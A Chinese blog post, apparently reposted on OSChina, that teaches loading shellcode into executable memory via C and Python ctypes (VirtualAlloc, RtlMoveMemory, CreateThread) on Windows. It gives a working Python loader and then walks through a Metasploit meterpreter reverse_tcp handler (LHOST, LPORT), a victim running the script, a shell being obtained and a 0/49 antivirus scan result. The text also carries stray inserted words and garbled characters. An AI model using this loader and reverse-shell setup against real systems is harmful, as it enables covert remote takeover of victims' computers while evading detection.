0x00:原理javascript
大部分脚本语言加载 shellcode 其实都是经过 c 的 ffi 去调用操做系统的api,其实并无太多的技巧在里面,明白了原理,只须要查一下对应的脚本语言怎么调用 c 便可.html
那么咱们只须要明白 c 一般是怎么加载 shellcode 的便可一通百通.java
那么 c 是怎么加载 shellcode 呢,咱们直接从汇编开始探究.python
shellcode 这个东西咱们明白是一串可执行的二进制(通常可执行文件的拥有可执行权限的section为.text),那么咱们先经过其余的手段开辟一片拥有可读可写可执行权限的区域放入咱们的 shellcode,而后跳转到 shellcode 首地址去执行就好了,汇编里面改变eip(即当前指令的下一条即将运行指令的虚拟地址)的方法有很多,最简单的就是直接 jmp 过去了.也就是写成伪码nginx
大概意思就是sql
lea eax, shellcode;jmp eax;
那么咱们用 c 怎么表示呢?shell
这里也写一段伪码(由于本文的重点并非在于 c 代码的编写)windows
那么按照刚才的思路,先申请一块可执行的内存,放入 shellcode 而后跳转过去执行便可.api
// shellcodeunsigned char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9" "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08" "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1" ...;// 定义一个函数类型typedef void (__stdcall *CODE) ();// 申请内存PVOID p = NULL; p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);// 把shellcode放入内存memcpy(p, shellcode, sizeof(shellcode));
CODE code =(CODE)p;
code();
并无写出一个可用的 c 加载 shellcode,只是旨在点出一下流程,而后引出后面的 python 加载 shellcode,上面咱们先申请了一块带有可读可写可执行权限的内存,而后把 shellcode 放进去,而后咱们强转为一个函数类型指针,最后调用这个函数,达到了咱们的目的。ruby
0x01:Python实现
前面说过,大部分脚本语言加载 shellcode 都是调用的c的ffi,那么咱们直接按照以前的思路来就好了.
import ctypes#(kali生成payload存放位置)shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 建立一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面建立的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
注意:其中的的每一个 c_uint64,这个类型在64位上是必要的,咱们须要手动指定 argtypes 和 restype,不然默认的是 32 位整型。
代码里面加了注释,咱们能够看到,基本思路也是同样的,先分配一块可读可写可执行代码的内存,在代码中使用的是
0x40(PAGE_EXECUTE_READWRITE)和 0x3000 ( 0x1000 | 0x2000)(MEM_COMMIT | MEM_RESERVE)
而后把 shellcode 塞进去,跳过去运行.
0x02:演示过程
1、MSF生成Payload
把生成的Payload放进上面的代码中
例子
2、msf运行并开启监听
use exploit/multi/handlerset payload windows/x64/meterpreter_reverse_tcpset LHOST 192.168.1.13set LPORT 666exploit
3、受害者运行脚本
获取到shell
4、在线查杀
https://r.virscan.org/language/zh-cn/report/5f75df969a7250364579f48d6d56ebcd
结果(0/49)
文章分析原理来自做者:Akkuman
https://www.cnblogs.com/Akkuman/p/11851057.html
本文分享自微信公众号 - 洛米惟熊(luomiweixiong)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。